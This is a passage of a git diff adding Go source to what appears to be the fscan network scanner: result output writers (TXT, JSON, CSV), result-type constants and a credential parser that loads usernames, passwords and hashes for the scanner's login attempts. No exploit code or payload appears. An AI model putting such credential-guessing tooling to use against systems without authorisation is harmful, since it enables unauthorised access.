m.statistics.AddResult(result.Type) + + // 如果启用缓冲,先添加到缓冲区 + if m.config.EnableBuffer { + return m.addToBuffer(result) + } + + // 直接写入 + return m.writer.Write(result) +} + +// addToBuffer 添加结果到缓冲区 +func (m *Manager) addToBuffer(result *ScanResult) error { + m.bufferMutex.Lock() + defer m.bufferMutex.Unlock() + + m.buffer = append(m.buffer, result) + + // 如果缓冲区已满,立即刷新 + if len(m.buffer) >= m.config.BufferSize { + return m.flushBufferUnsafe() + } + + return nil +} + +// flushBuffer 刷新缓冲区(加锁版本) +func (m *Manager) flushBuffer() error { + m.bufferMutex.Lock() + defer m.bufferMutex.Unlock() + return m.flushBufferUnsafe() +} + +// flushBufferUnsafe 刷新缓冲区(无锁版本,内部使用) +func (m *Manager) flushBufferUnsafe() error { + if len(m.buffer) == 0 { + return nil + } + + // 批量写入 + for _, result := range m.buffer { + if err := m.writer.Write(result); err != nil { + return fmt.Errorf(i18n.GetText("output_write_failed"), err) + } + } + + // 刷新写入器 + if err := m.writer.Flush(); err != nil { + return fmt.Errorf(i18n.GetText("output_flush_failed"), err) + } + + // 清空缓冲区 + m.buffer = m.buffer[:0] + return nil +} + +// ============================================================================================= +// 已删除的死代码(未使用): +// GetResults, GetResultsWithFilter, GetStatistics, Flush 方法 +// ============================================================================================= + +// Close 关闭输出管理器 +func (m *Manager) Close() error { + m.mu.Lock() + defer m.mu.Unlock() + + if m.closed { + return nil + } + + // 停止自动刷新 + if m.flushTicker != nil { + m.flushTicker.Stop() + close(m.stopChan) + } + + // 最后一次刷新缓冲区 + if m.config.EnableBuffer { + m.flushBufferUnsafe() + } + + // 关闭写入器 + var err error + if m.writer != nil { + err = m.writer.Close() + } + + // 关闭读取器 + if m.reader != nil { + if closeErr := m.reader.Close(); closeErr != nil && err == nil { + err = closeErr + } + } + + m.closed = true + return err +} + +// ============================================================================================= +// 已删除的死代码(未使用): +// IsInitialized, IsClosed, GetConfig, UpdateConfig 方法 +// ============================================================================================= + +// ============================================================================================= +// 已删除的死代码(未使用):globalManager 全局变量及 SetGlobalManager 函数 +// ============================================================================================= diff --git a/common/output/Types.go b/common/output/Types.go new file mode 100644 index 0000000..612d977 --- /dev/null +++ b/common/output/Types.go @@ -0,0 +1,102 @@ +package output + +import ( + "sync" + "time" +) + + + +// ScanResult 扫描结果结构 +type ScanResult struct { + Time time.Time `json:"time"` // 发现时间 + Type ResultType `json:"type"` // 结果类型 + Target string `json:"target"` // 目标(IP/域名/URL) + Status string `json:"status"` // 状态描述 + Details map[string]interface{} `json:"details"` // 详细信息 +} + +// OutputWriter 输出写入器接口 +type OutputWriter interface { + Write(result *ScanResult) error + WriteHeader() error + Flush() error + Close() error + GetFormat() OutputFormat +} + +// OutputReader 输出读取器接口 +type OutputReader interface { + Read() ([]*ScanResult, error) + ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error) + Close() error +} + +// ResultFilter 结果过滤器 +type ResultFilter struct { + Types []ResultType `json:"types"` // 过滤的结果类型 + Targets []string `json:"targets"` // 过滤的目标 + TimeRange *TimeRange `json:"time_range"` // 时间范围 + Limit int `json:"limit"` // 限制数量 + Offset int `json:"offset"` // 偏移量 +} + +// TimeRange 时间范围 +type TimeRange struct { + Start time.Time `json:"start"` // 开始时间 + End time.Time `json:"end"` // 结束时间 +} + +// ManagerConfig 输出管理器配置 +type ManagerConfig struct { + OutputPath string `json:"output_path"` // 输出路径 + Format OutputFormat `json:"format"` // 输出格式 + EnableBuffer bool `json:"enable_buffer"` // 是否启用缓冲 + BufferSize int `json:"buffer_size"` // 缓冲区大小 + AutoFlush bool `json:"auto_flush"` // 是否自动刷新 + FlushInterval time.Duration `json:"flush_interval"` // 刷新间隔 +} + +// DefaultManagerConfig 默认管理器配置 +func DefaultManagerConfig(outputPath string, format OutputFormat) *ManagerConfig { + return &ManagerConfig{ + OutputPath: outputPath, + Format: format, + EnableBuffer: DefaultEnableBuffer, + BufferSize: DefaultBufferSize, + AutoFlush: DefaultAutoFlush, + FlushInterval: DefaultFlushInterval, + } +} + +// Statistics 输出统计信息 +type Statistics struct { + mu sync.RWMutex + TotalResults int64 `json:"total_results"` // 总结果数 + TypeCounts map[ResultType]int64 `json:"type_counts"` // 各类型计数 + StartTime time.Time `json:"start_time"` // 开始时间 + LastUpdate time.Time `json:"last_update"` // 最后更新时间 +} + +// NewStatistics 创建新的统计信息 +func NewStatistics() *Statistics { + return &Statistics{ + TypeCounts: make(map[ResultType]int64), + StartTime: time.Now(), + LastUpdate: time.Now(), + } +} + +// AddResult 添加结果统计 +func (s *Statistics) AddResult(resultType ResultType) { + s.mu.Lock() + defer s.mu.Unlock() + s.TotalResults++ + s.TypeCounts[resultType]++ + s.LastUpdate = time.Now() +} + +// ============================================================================================= +// 已删除的死代码(未使用): +// GetTotalResults, GetTypeCounts, GetDuration, Reset 方法 +// ============================================================================================= diff --git a/common/output/Writers.go b/common/output/Writers.go new file mode 100644 index 0000000..0ace2f7 --- /dev/null +++ b/common/output/Writers.go @@ -0,0 +1,459 @@ +package output + +import ( + "encoding/csv" + "encoding/json" + "fmt" + "os" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +// TXTWriter 文本格式写入器 +type TXTWriter struct { + file *os.File + mu sync.Mutex + closed bool +} + +// NewTXTWriter 创建文本写入器 +func NewTXTWriter(filePath string) (*TXTWriter, error) { + file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions) + if err != nil { + return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "文本", err) + } + + return &TXTWriter{ + file: file, + }, nil +} + +// WriteHeader 写入头部(文本格式无需头部) +func (w *TXTWriter) WriteHeader() error { + return nil +} + +// Write 写入扫描结果 +func (w *TXTWriter) Write(result *ScanResult) error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return fmt.Errorf(i18n.GetText("output_writer_closed")) + } + + // 格式化 Details 为键值对字符串 + var details string + if len(result.Details) > 0 { + pairs := make([]string, 0, len(result.Details)) + for k, v := range result.Details { + pairs = append(pairs, fmt.Sprintf(TxtKeyValueFormat, k, v)) + } + details = strings.Join(pairs, TxtDetailsSeparator) + } + + // 使用类似原有格式的文本输出 + txt := fmt.Sprintf(TxtOutputTemplate, + result.Time.Format(TxtTimeFormat), + result.Type, + result.Target, + result.Status, + ) + if details != "" { + txt += fmt.Sprintf(TxtDetailsFormat, details) + } + txt += TxtNewline + + _, err := w.file.WriteString(txt) + return err +} + +// Flush 刷新缓冲区 +func (w *TXTWriter) Flush() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return nil + } + + return w.file.Sync() +} + +// Close 关闭写入器 +func (w *TXTWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return nil + } + + w.closed = true + return w.file.Close() +} + +// GetFormat 获取格式类型 +func (w *TXTWriter) GetFormat() OutputFormat { + return FormatTXT +} + +// JSONWriter JSON格式写入器 +type JSONWriter struct { + file *os.File + encoder *json.Encoder + mu sync.Mutex + closed bool +} + +// NewJSONWriter 创建JSON写入器 +func NewJSONWriter(filePath string) (*JSONWriter, error) { + file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions) + if err != nil { + return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "JSON", err) + } + + encoder := json.NewEncoder(file) + encoder.SetIndent(JSONIndentPrefix, JSONIndentString) + + return &JSONWriter{ + file: file, + encoder: encoder, + }, nil +} + +// WriteHeader 写入头部(JSON格式无需头部) +func (w *JSONWriter) WriteHeader() error { + return nil +} + +// Write 写入扫描结果 +func (w *JSONWriter) Write(result *ScanResult) error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return fmt.Errorf(i18n.GetText("output_writer_closed")) + } + + return w.encoder.Encode(result) +} + +// Flush 刷新缓冲区 +func (w *JSONWriter) Flush() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return nil + } + + return w.file.Sync() +} + +// Close 关闭写入器 +func (w *JSONWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return nil + } + + w.closed = true + return w.file.Close() +} + +// GetFormat 获取格式类型 +func (w *JSONWriter) GetFormat() OutputFormat { + return FormatJSON +} + +// CSVWriter CSV格式写入器 +type CSVWriter struct { + file *os.File + csvWriter *csv.Writer + mu sync.Mutex + closed bool + headerWritten bool +} + +// NewCSVWriter 创建CSV写入器 +func NewCSVWriter(filePath string) (*CSVWriter, error) { + file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions) + if err != nil { + return nil, fmt.Errorf(i18n.GetText("output_create_file_failed"), "CSV", err) + } + + csvWriter := csv.NewWriter(file) + + return &CSVWriter{ + file: file, + csvWriter: csvWriter, + }, nil +} + +// WriteHeader 写入CSV头部 +func (w *CSVWriter) WriteHeader() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.headerWritten { + return nil + } + + headers := CSVHeaders + err := w.csvWriter.Write(headers) + if err != nil { + return fmt.Errorf(i18n.GetText("output_write_header_failed"), err) + } + + w.csvWriter.Flush() + w.headerWritten = true + return w.csvWriter.Error() +} + +// Write 写入扫描结果 +func (w *CSVWriter) Write(result *ScanResult) error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return fmt.Errorf(i18n.GetText("output_writer_closed")) + } + + // 确保头部已写入 + if !w.headerWritten { + if err := w.writeHeaderUnsafe(); err != nil { + return err + } + } + + // 序列化Details为JSON字符串 + details, err := json.Marshal(result.Details) + if err != nil { + details = []byte(EmptyJSONObject) + } + + record := []string{ + result.Time.Format(DefaultTimeFormat), + string(result.Type), + result.Target, + result.Status, + string(details), + } + + err = w.csvWriter.Write(record) + if err != nil { + return err + } + + w.csvWriter.Flush() + return w.csvWriter.Error() +} + +// writeHeaderUnsafe 不安全的写入头部(内部使用,无锁) +func (w *CSVWriter) writeHeaderUnsafe() error { + if w.headerWritten { + return nil + } + + headers := CSVHeaders + err := w.csvWriter.Write(headers) + if err != nil { + return fmt.Errorf(i18n.GetText("output_write_header_failed"), err) + } + + w.csvWriter.Flush() + w.headerWritten = true + return w.csvWriter.Error() +} + +// Flush 刷新缓冲区 +func (w *CSVWriter) Flush() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return nil + } + + w.csvWriter.Flush() + return w.csvWriter.Error() +} + +// Close 关闭写入器 +func (w *CSVWriter) Close() error { + w.mu.Lock() + defer w.mu.Unlock() + + if w.closed { + return nil + } + + w.csvWriter.Flush() + err := w.csvWriter.Error() + w.closed = true + + if fileErr := w.file.Close(); fileErr != nil && err == nil { + err = fileErr + } + + return err +} + +// GetFormat 获取格式类型 +func (w *CSVWriter) GetFormat() OutputFormat { + return FormatCSV +} + +// CSVReader CSV格式读取器 +type CSVReader struct { + filePath string + mu sync.Mutex +} + +// NewCSVReader 创建CSV读取器 +func NewCSVReader(filePath string) *CSVReader { + return &CSVReader{ + filePath: filePath, + } +} + +// Read 读取所有结果 +func (r *CSVReader) Read() ([]*ScanResult, error) { + return r.ReadWithFilter(nil) +} + +// ReadWithFilter 带过滤条件读取结果 +func (r *CSVReader) ReadWithFilter(filter *ResultFilter) ([]*ScanResult, error) { + r.mu.Lock() + defer r.mu.Unlock() + + file, err := os.Open(r.filePath) + if err != nil { + return nil, fmt.Errorf(i18n.GetText("output_open_file_failed"), err) + } + defer file.Close() + + reader := csv.NewReader(file) + records, err := reader.ReadAll() + if err != nil { + return nil, fmt.Errorf(i18n.GetText("output_read_file_failed"), err) + } + + var results []*ScanResult + for i, row := range records { + // 跳过CSV头部 + if i == CSVHeaderRowIndex { + continue + } + if len(row) < CSVMinColumns { + continue // 数据不完整 + } + + result, err := r.parseCSVRow(row) + if err != nil { + continue // 跳过解析失败的行 + } + + // 应用过滤器 + if filter != nil && !r.matchFilter(result, filter) { + continue + } + + results = append(results, result) + + // 应用限制 + if filter != nil && filter.Limit > 0 && len(results) >= filter.Limit { + break + } + } + + return results, nil +} + +// parseCSVRow 解析CSV行 +func (r *CSVReader) parseCSVRow(row []string) (*ScanResult, error) { + // 解析时间 + t, err := parseTime(row[CSVTimeColumnIndex]) + if err != nil { + return nil, err + } + + // 解析Details + var details map[string]interface{} + if err := json.Unmarshal([]byte(row[CSVDetailsColumnIndex]), &details); err != nil { + details = make(map[string]interface{}) + } + + return &ScanResult{ + Time: t, + Type: ResultType(row[CSVTypeColumnIndex]), + Target: row[CSVTargetColumnIndex], + Status: row[CSVStatusColumnIndex], + Details: details, + }, nil +} + +// matchFilter 检查结果是否匹配过滤器 +func (r *CSVReader) matchFilter(result *ScanResult, filter *ResultFilter) bool { + // 检查类型过滤 + if len(filter.Types) > 0 { + found := false + for _, t := range filter.Types { + if result.Type == t { + found = true + break + } + } + if !found { + return false + } + } + + // 检查目标过滤 + if len(filter.Targets) > 0 { + found := false + for _, target := range filter.Targets { + if strings.Contains(result.Target, target) { + found = true + break + } + } + if !found { + return false + } + } + + // 检查时间范围过滤 + if filter.TimeRange != nil { + if result.Time.Before(filter.TimeRange.Start) || result.Time.After(filter.TimeRange.End) { + return false + } + } + + return true +} + +// Close 关闭读取器 +func (r *CSVReader) Close() error { + return nil // CSV读取器无需特殊关闭操作 +} + +// parseTime 解析时间字符串 +func parseTime(timeStr string) (time.Time, error) { + // 尝试多种时间格式 + formats := GetSupportedTimeFormats() + + for _, format := range formats { + if t, err := time.Parse(format, timeStr); err == nil { + return t, nil + } + } + + return time.Time{}, fmt.Errorf(i18n.GetText("output_parse_time_failed"), timeStr) +} \ No newline at end of file diff --git a/common/output/constants.go b/common/output/constants.go new file mode 100644 index 0000000..5dcdd8a --- /dev/null +++ b/common/output/constants.go @@ -0,0 +1,129 @@ +package output + +import ( + "os" + "time" +) + +/* +constants.go - 输出系统常量定义 + +统一管理common/output包中的所有常量,便于查看和编辑。 +*/ + +// ============================================================================= +// 输出格式常量 (从Types.go迁移) +// ============================================================================= + +// OutputFormat 输出格式类型 +type OutputFormat string + +const ( + FormatTXT OutputFormat = "txt" // 文本格式 + FormatJSON OutputFormat = "json" // JSON格式 + FormatCSV OutputFormat = "csv" // CSV格式 +) + +// ============================================================================= +// 结果类型常量 (从Types.go迁移) +// ============================================================================= + +// ResultType 定义结果类型 +type ResultType string + +const ( + TypeHost ResultType = "HOST" // 主机存活 + TypePort ResultType = "PORT" // 端口开放 + TypeService ResultType = "SERVICE" // 服务识别 + TypeVuln ResultType = "VULN" // 漏洞发现 +) + +// ============================================================================= +// 默认配置常量 +// ============================================================================= + +const ( + // 默认缓冲区配置 + DefaultBufferSize = 100 // 默认缓冲区大小 + DefaultEnableBuffer = true // 默认启用缓冲 + DefaultAutoFlush = true // 默认启用自动刷新 + DefaultFlushInterval = 5 * time.Second // 默认刷新间隔 + + // 文件权限常量 + DefaultFilePermissions = 0644 // 默认文件权限 + DefaultDirPermissions = 0755 // 默认目录权限 + + // 文件操作标志 + DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND // 默认文件打开标志 +) + +// ============================================================================= +// CSV格式常量 (从Writers.go迁移) +// ============================================================================= + +var ( + // CSV头部字段 + CSVHeaders = []string{"Time", "Type", "Target", "Status", "Details"} +) + +// ============================================================================= +// 时间格式常量 (从Writers.go迁移) +// ============================================================================= + +const ( + // 时间格式 + DefaultTimeFormat = "2006-01-02 15:04:05" // 默认时间格式 + ISO8601TimeFormat = "2006-01-02T15:04:05Z07:00" // ISO8601时间格式 + ISO8601MilliFormat = "2006-01-02T15:04:05.000Z07:00" // ISO8601毫秒格式 +) + +// GetSupportedTimeFormats 获取支持的时间格式列表 +func GetSupportedTimeFormats() []string { + return []string{ + DefaultTimeFormat, + ISO8601TimeFormat, + ISO8601MilliFormat, + } +} + +// ============================================================================= +// JSON常量 +// ============================================================================= + +const ( + // JSON格式化 + JSONIndentPrefix = "" // JSON缩进前缀 + JSONIndentString = " " // JSON缩进字符串 + + // 空JSON对象 + EmptyJSONObject = "{}" +) + +// ============================================================================= +// 文本格式常量 (从Writers.go迁移) +// ============================================================================= + +const ( + // 文本输出格式 + TxtTimeFormat = "2006-01-02 15:04:05" // 文本时间格式 + TxtOutputTemplate = "[%s] [%s] %s - %s" // 文本输出模板 + TxtDetailsFormat = " (%s)" // 详细信息格式 + TxtNewline = "\n" // 换行符 + TxtDetailsSeparator = ", " // 详细信息分隔符 + TxtKeyValueFormat = "%s=%v" // 键值对格式 +) + + +// ============================================================================= +// CSV相关常量 +// ============================================================================= + +const ( + CSVMinColumns = 5 // CSV最小列数 + CSVHeaderRowIndex = 0 // CSV头部行索引 + CSVTimeColumnIndex = 0 // 时间列索引 + CSVTypeColumnIndex = 1 // 类型列索引 + CSVTargetColumnIndex = 2 // 目标列索引 + CSVStatusColumnIndex = 3 // 状态列索引 + CSVDetailsColumnIndex = 4 // 详细信息列索引 +) \ No newline at end of file diff --git a/common/parsers/CredentialParser.go b/common/parsers/CredentialParser.go new file mode 100644 index 0000000..134eb3e --- /dev/null +++ b/common/parsers/CredentialParser.go @@ -0,0 +1,365 @@ +package parsers + +import ( + "encoding/hex" + "fmt" + "regexp" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +// CredentialParser 凭据解析器 +type CredentialParser struct { + fileReader *FileReader + mu sync.RWMutex //nolint:unused // reserved for future thread safety + hashRegex *regexp.Regexp + options *CredentialParserOptions +} + +// CredentialParserOptions 凭据解析器选项 +type CredentialParserOptions struct { + MaxUsernameLength int `json:"max_username_length"` + MaxPasswordLength int `json:"max_password_length"` + AllowEmptyPasswords bool `json:"allow_empty_passwords"` + ValidateHashes bool `json:"validate_hashes"` + DeduplicateUsers bool `json:"deduplicate_users"` + DeduplicatePasswords bool `json:"deduplicate_passwords"` + EnableStatistics bool `json:"enable_statistics"` +} + +// DefaultCredentialParserOptions 默认凭据解析器选项 +func DefaultCredentialParserOptions() *CredentialParserOptions { + return &CredentialParserOptions{ + MaxUsernameLength: DefaultMaxUsernameLength, + MaxPasswordLength: DefaultMaxPasswordLength, + AllowEmptyPasswords: DefaultAllowEmptyPasswords, + ValidateHashes: DefaultValidateHashes, + DeduplicateUsers: DefaultDeduplicateUsers, + DeduplicatePasswords: DefaultDeduplicatePasswords, + EnableStatistics: DefaultCredentialsEnableStatistics, + } +} + +// NewCredentialParser 创建凭据解析器 +func NewCredentialParser(fileReader *FileReader, options *CredentialParserOptions) *CredentialParser { + if options == nil { + options = DefaultCredentialParserOptions() + } + + // 编译哈希验证正则表达式 (MD5: 32位十六进制) + hashRegex := CompiledHashRegex + + return &CredentialParser{ + fileReader: fileReader, + hashRegex: hashRegex, + options: options, + } +} + +// CredentialInput 凭据输入参数 +type CredentialInput struct { + // 直接输入 + Username string `json:"username"` + Password string `json:"password"` + AddUsers string `json:"add_users"` + AddPasswords string `json:"add_passwords"` + HashValue string `json:"hash_value"` + SshKeyPath string `json:"ssh_key_path"` + Domain string `json:"domain"` + + // 文件输入 + UsersFile string `json:"users_file"` + PasswordsFile string `json:"passwords_file"` + HashFile string `json:"hash_file"` +} + +// Parse 解析凭据配置 +func (cp *CredentialParser) Parse(input *CredentialInput, options *ParserOptions) (*ParseResult, error) { + if input == nil { + return nil, NewParseError(ErrorTypeInputError, "凭据输入为空", "", 0, ErrEmptyInput) + } + + startTime := time.Now() + result := &ParseResult{ + Config: &ParsedConfig{ + Credentials: &CredentialConfig{ + SshKeyPath: input.SshKeyPath, + Domain: input.Domain, + }, + }, + Success: true, + } + + var errors []error + var warnings []string + + // 解析用户名 + usernames, userErrors, userWarnings := cp.parseUsernames(input) + errors = append(errors, userErrors...) + warnings = append(warnings, userWarnings...) + + // 解析密码 + passwords, passErrors, passWarnings := cp.parsePasswords(input) + errors = append(errors, passErrors...) + warnings = append(warnings, passWarnings...) + + // 解析哈希值 + hashValues, hashBytes, hashErrors, hashWarnings := cp.parseHashes(input) + errors = append(errors, hashErrors...) + warnings = append(warnings, hashWarnings...) + + // 更新配置 + result.Config.Credentials.Usernames = usernames + result.Config.Credentials.Passwords = passwords + result.Config.Credentials.HashValues = hashValues + result.Config.Credentials.HashBytes = hashBytes + + // 生成统计信息 + if cp.options.EnableStatistics { + result.Config.Credentials.Statistics = cp.generateStatistics(usernames, passwords, hashValues, hashBytes) + } + + // 设置结果状态 + result.Errors = errors + result.Warnings = warnings + result.ParseTime = time.Since(startTime) + result.Success = len(errors) == 0 + + return result, nil +} + +// parseUsernames 解析用户名 +func (cp *CredentialParser) parseUsernames(input *CredentialInput) ([]string, []error, []string) { + var usernames []string + var errors []error + var warnings []string + + // 解析命令行用户名 + if input.Username != "" { + users := strings.Split(input.Username, ",") + for _, user := range users { + if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid { + usernames = append(usernames, processedUser) + } else if err != nil { + errors = append(errors, NewParseError(ErrorTypeUsernameError, err.Error(), "command line", 0, err)) + } + } + } + + // 从文件读取用户名 + if input.UsersFile != "" { + fileResult, err := cp.fileReader.ReadFile(input.UsersFile) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeFileError, "读取用户名文件失败", input.UsersFile, 0, err)) + } else { + for i, line := range fileResult.Lines { + if processedUser, valid, err := cp.validateUsername(line); valid { + usernames = append(usernames, processedUser) + } else if err != nil { + warnings = append(warnings, fmt.Sprintf("用户名文件第%d行无效: %s", i+1, err.Error())) + } + } + } + } + + // 处理额外用户名 + if input.AddUsers != "" { + extraUsers := strings.Split(input.AddUsers, ",") + for _, user := range extraUsers { + if processedUser, valid, err := cp.validateUsername(strings.TrimSpace(user)); valid { + usernames = append(usernames, processedUser) + } else if err != nil { + warnings = append(warnings, fmt.Sprintf("额外用户名无效: %s", err.Error())) + } + } + } + + // 去重 + if cp.options.DeduplicateUsers { + usernames = cp.removeDuplicateStrings(usernames) + } + + return usernames, errors, warnings +} + +// parsePasswords 解析密码 +func (cp *CredentialParser) parsePasswords(input *CredentialInput) ([]string, []error, []string) { + var passwords []string + var errors []error + var warnings []string + + // 解析命令行密码 + if input.Password != "" { + passes := strings.Split(input.Password, ",") + for _, pass := range passes { + if processedPass, valid, err := cp.validatePassword(pass); valid { + passwords = append(passwords, processedPass) + } else if err != nil { + errors = append(errors, NewParseError(ErrorTypePasswordError, err.Error(), "command line", 0, err)) + } + } + } + + // 从文件读取密码 + if input.PasswordsFile != "" { + fileResult, err := cp.fileReader.ReadFile(input.PasswordsFile) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeFileError, "读取密码文件失败", input.PasswordsFile, 0, err)) + } else { + for i, line := range fileResult.Lines { + if processedPass, valid, err := cp.validatePassword(line); valid { + passwords = append(passwords, processedPass) + } else if err != nil { + warnings = append(warnings, fmt.Sprintf("密码文件第%d行无效: %s", i+1, err.Error())) + } + } + } + } + + // 处理额外密码 + if input.AddPasswords != "" { + extraPasses := strings.Split(input.AddPasswords, ",") + for _, pass := range extraPasses { + if processedPass, valid, err := cp.validatePassword(pass); valid { + passwords = append(passwords, processedPass) + } else if err != nil { + warnings = append(warnings, fmt.Sprintf("额外密码无效: %s", err.Error())) + } + } + } + + // 去重 + if cp.options.DeduplicatePasswords { + passwords = cp.removeDuplicateStrings(passwords) + } + + return passwords, errors, warnings +} + +// parseHashes 解析哈希值 +func (cp *CredentialParser) parseHashes(input *CredentialInput) ([]string, [][]byte, []error, []string) { + var hashValues []string + var hashBytes [][]byte + var errors []error + var warnings []string + + // 解析单个哈希值 + if input.HashValue != "" { + if valid, err := cp.validateHash(input.HashValue); valid { + hashValues = append(hashValues, input.HashValue) + } else { + errors = append(errors, NewParseError(ErrorTypeHashError, err.Error(), "command line", 0, err)) + } + } + + // 从文件读取哈希值 + if input.HashFile != "" { + fileResult, err := cp.fileReader.ReadFile(input.HashFile) + if err != nil { + errors = append(errors, NewParseError(ErrorTypeFileError, "读取哈希文件失败", input.HashFile, 0, err)) + } else { + for i, line := range fileResult.Lines { + if valid, err := cp.validateHash(line); valid { + hashValues = append(hashValues, line) + } else { + warnings = append(warnings, fmt.Sprintf("哈希文件第%d行无效: %s", i+1, err.Error())) + } + } + } + } + + // 转换哈希值为字节数组 + for _, hash := range hashValues { + if hashByte, err := hex.DecodeString(hash); err == nil { + hashBytes = append(hashBytes, hashByte) + } else { + warnings = append(warnings, fmt.Sprintf("哈希值解码失败: %s", hash)) + } + } + + return hashValues, hashBytes, errors, warnings +} + +// validateUsername 验证用户名 +func (cp *CredentialParser) validateUsername(username string) (string, bool, error) { + if len(username) == 0 { + return "", false, nil // 允许空用户名,但不添加到列表 + } + + if len(username) > cp.options.MaxUsernameLength { + return "", false, fmt.Errorf(i18n.GetText("parser_username_too_long"), len(username), cp.options.MaxUsernameLength) + } + + // 检查特殊字符 + if strings.ContainsAny(username, InvalidUsernameChars) { + return "", false, fmt.Errorf("%s", i18n.GetText("parser_username_invalid_chars")) + } + + return username, true, nil +} + +// validatePassword 验证密码 +func (cp *CredentialParser) validatePassword(password string) (string, bool, error) { + if len(password) == 0 && !cp.options.AllowEmptyPasswords { + return "", false, fmt.Errorf("%s", i18n.GetText("parser_password_empty")) + } + + if len(password) > cp.options.MaxPasswordLength { + return "", false, fmt.Errorf(i18n.GetText("parser_password_too_long"), len(password), cp.options.MaxPasswordLength) + } + + return password, true, nil +} + +// validateHash 验证哈希值 +func (cp *CredentialParser) validateHash(hash string) (bool, error) { + if !cp.options.ValidateHashes { + return true, nil + } + + hash = strings.TrimSpace(hash) + if len(hash) == 0 { + return false, fmt.Errorf("%s", i18n.GetText("parser_hash_empty")) + } + + if !cp.hashRegex.MatchString(hash) { + return false, fmt.Errorf("%s", i18n.GetText("parser_hash_invalid_format")) + } + + return true, nil +} + +// removeDuplicateStrings 去重字符串切片 +func (cp *CredentialParser) removeDuplicateStrings(slice []string) []string { + seen := make(map[string]struct{}) + var result []string + + for _, item := range slice { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// generateStatistics 生成统计信息 +func (cp *CredentialParser) generateStatistics(usernames, passwords, hashValues []string, hashBytes [][]byte) *CredentialStats { + return &CredentialStats{ + TotalUsernames: len(usernames), + TotalPasswords: len(passwords), + TotalHashes: len(hashValues), + UniqueUsernames: len(cp.removeDuplicateStrings(usernames)), + UniquePasswords: len(cp.removeDuplicateStrings(passwords)), + ValidHashes: len(hashBytes), + InvalidHashes: len(hashValues) - len(hashBytes), + } +} + +// ============================================================================================= +// 已删除的死代码(未使用):Validate 和 GetStatistics 方法 +// ============================================================================================= \ No newline at end of file diff --git a/common/parsers/FileReader.go b/common/parsers/FileReader.go new file mode 100644 index 0000000..cfdf25c --- /dev/null +++ b/common/parsers/FileReader.go @@ -0,0 +1,293 @@ +package parsers + +import ( + "bufio" + "context" + "fmt" + "os" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/i18n" +) + +// FileReader 高性能文件读取器 +type FileReader struct { + mu sync.RWMutex + cache map[string]*FileResult // 文件缓存 + maxCacheSize int // 最大缓存大小 + enableCache bool // 是否启用缓存 + maxFileSize int64 // 最大文件大小 + timeout time.Duration // 读取超时 + enableValidation bool // 是否启用内容验证 +} + +// FileResult 文件读取结果 +type FileResult struct { + Lines []string `json:"lines"` + Source *FileSource `json:"source"` + ReadTime time.Duration `json:"read_time"` + ValidLines int `json:"valid_lines"` + Errors []error `json:"errors,omitempty"` + Cached bool `json:"cached"` +} + +// NewFileReader 创建文件读取器 +func NewFileReader(options *FileReaderOptions) *FileReader { + if options == nil { + options = DefaultFileReaderOptions() + } + + return &FileReader{ + cache: make(map[string]*FileResult), + maxCacheSize: options.MaxCacheSize, + enableCache: options.EnableCache, + maxFileSize: options.MaxFileSize, + timeout: options.Timeout, + enableValidation: options.EnableValidation, + } +} + +// FileReaderOptions 文件读取器选项 +type FileReaderOptions struct { + MaxCacheSize int // 最大缓存文件数 + EnableCache bool // 启用文件缓存 + MaxFileSize int64 // 最大文件大小(字节) + Timeout time.Duration // 读取超时 + EnableValidation bool // 启用内容验证 + TrimSpace bool // 自动清理空白字符 + SkipEmpty bool // 跳过空行 + SkipComments bool // 跳过注释行(#开头) +} + +// DefaultFileReaderOptions 默认文件读取器选项 +func DefaultFileReaderOptions() *FileReaderOptions { + return &FileReaderOptions{ + MaxCacheSize: DefaultMaxCacheSize, + EnableCache: DefaultEnableCache, + MaxFileSize: DefaultFileReaderMaxFileSize, + Timeout: DefaultFileReaderTimeout, + EnableValidation: DefaultFileReaderEnableValidation, + TrimSpace: DefaultTrimSpace, + SkipEmpty: DefaultSkipEmpty, + SkipComments: DefaultSkipComments, + } +} + +// ReadFile 读取文件内容 +func (fr *FileReader) ReadFile(filename string, options ...*FileReaderOptions) (*FileResult, error) { + if filename == "" { + return nil, NewParseError("FILE_ERROR", "文件名为空", filename, 0, ErrEmptyInput) + } + + // 检查缓存 + if fr.enableCache { + if result := fr.getFromCache(filename); result != nil { + result.Cached = true + return result, nil + } + } + + // 合并选项 + opts := fr.mergeOptions(options...) + + // 创建带超时的上下文 + ctx, cancel := context.WithTimeout(context.Background(), fr.timeout) + defer cancel() + + // 异步读取文件 + resultChan := make(chan *FileResult, 1) + errorChan := make(chan error, 1) + + go func() { + result, err := fr.readFileSync(filename, opts) + if err != nil { + errorChan <- err + } else { + resultChan <- result + } + }() + + // 等待结果或超时 + select { + case result := <-resultChan: + // 添加到缓存 + if fr.enableCache { + fr.addToCache(filename, result) + } + return result, nil + case err := <-errorChan: + return nil, err + case <-ctx.Done(): + return nil, NewParseError(ErrorTypeTimeout, "文件读取超时", filename, 0, ctx.Err()) + } +} + +// ============================================================================================= +// 已删除的死代码(未使用):ReadFiles 并发读取多个文件的方法 +// ============================================================================================= + +// readFileSync 同步读取文件 +func (fr *FileReader) readFileSync(filename string, options 